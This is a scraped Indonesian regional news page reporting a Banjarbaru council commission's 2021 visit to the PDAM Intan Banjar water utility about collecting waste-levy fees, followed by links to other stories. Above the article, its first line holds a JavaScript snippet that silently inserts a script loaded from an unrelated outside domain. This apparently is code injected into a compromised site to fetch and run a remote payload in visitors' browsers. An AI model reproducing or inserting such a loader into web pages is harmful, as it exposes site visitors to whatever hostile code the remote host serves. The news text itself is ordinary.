(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komisi III DPRD Banjarbaru melakukan kunjungan kerja ke PDAM Intan Banjar, Selasa (2/3/2021). Tujuan kegiatan itu untuk memfasilitasi kerja sama antara Dinas Lingkungan Hidup (LH) dan PDAM Intan Banjar dalam mengelola pemungutan retribusi sampah.
“Kami mereview kembali janji dari manajemen PDAM Intan Banjar satu tahun lalu yang ingin membantu Pemko dalam memungut retribusi persampahan di Banjarbaru,” kata Ketua Komisi III, Takyin Baskoro.
Dijelaskan Baskoro bahwa pemungutan retribusi persampahan ini sebenarnya telah diatur dalam Peraturan Daerah (Perda) yang disahkan 2011 silam dan mengalami perubahan pada tahun 2016. Sayangnya, implementasi dari Perda tersebut belum bisa dieksekusi hingga sampai saat ini.
“Untuk itu kami juga ingin mengevaluasi apa yang menyebabkan kerja sama terkait tata kelola pemungutan retribusi persampahan di Banjarbaru belum bisa dieksekusi. Sementara di daerah-daerah lain sudah berjalan, contohnya Banjarmasin,” lanjut Baskoro.
Pemungutan retribusi sampah dengan menggandeng perusahaan BUMD (Badan Usaha Milik Daerah) diharapkan dapat mendongkrak pendapatan daerah. Secara teknis, masyarakat Banjarbaru nantinya akan membayar iuran retribusi persampahan/kebersihan melalui rekening milik PDAM dan selanjutnya akan disetor ke kas daerah.
Namun untuk mewujudkan hal tersebut, tentunya Dinas LH Banjarbaru sebagai leading sektor persampahan harus lebih dulu meneken kerja sama dengan PDAM Intan Banjar.
Baskoro mengaku memahami status PDAM Intan Banjar yang juga dimiliki dua pemegang saham lain, yakni Pemkab Banjar dan Pemprov Kalsel. Di samping itu, hal yang wajar apabila pihak PDAM merasa was-was jika munculnya persoalan-persoalan nantinya.
“Maka dari itu saya tekankan lagi Komisi III dalam hal ini memfasilitasi mitra kerja kami yakni Dinas LH Banjarbaru. Sudah cukup lama kami menunggu kerja sama ini dan nyatanya belum berjalan. Makanya kami datang ke sana untuk mengetahui lebih jauh apa persoalannya. Tadi, .Dirut PDAM Intan Banjar telah berkomitmen mengupayakan sistem pungutan retribusi persampahan ini akan berjalan dalam beberapa bulan ke depan,” tuntas Politisi Partai Nasdem tersebut. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.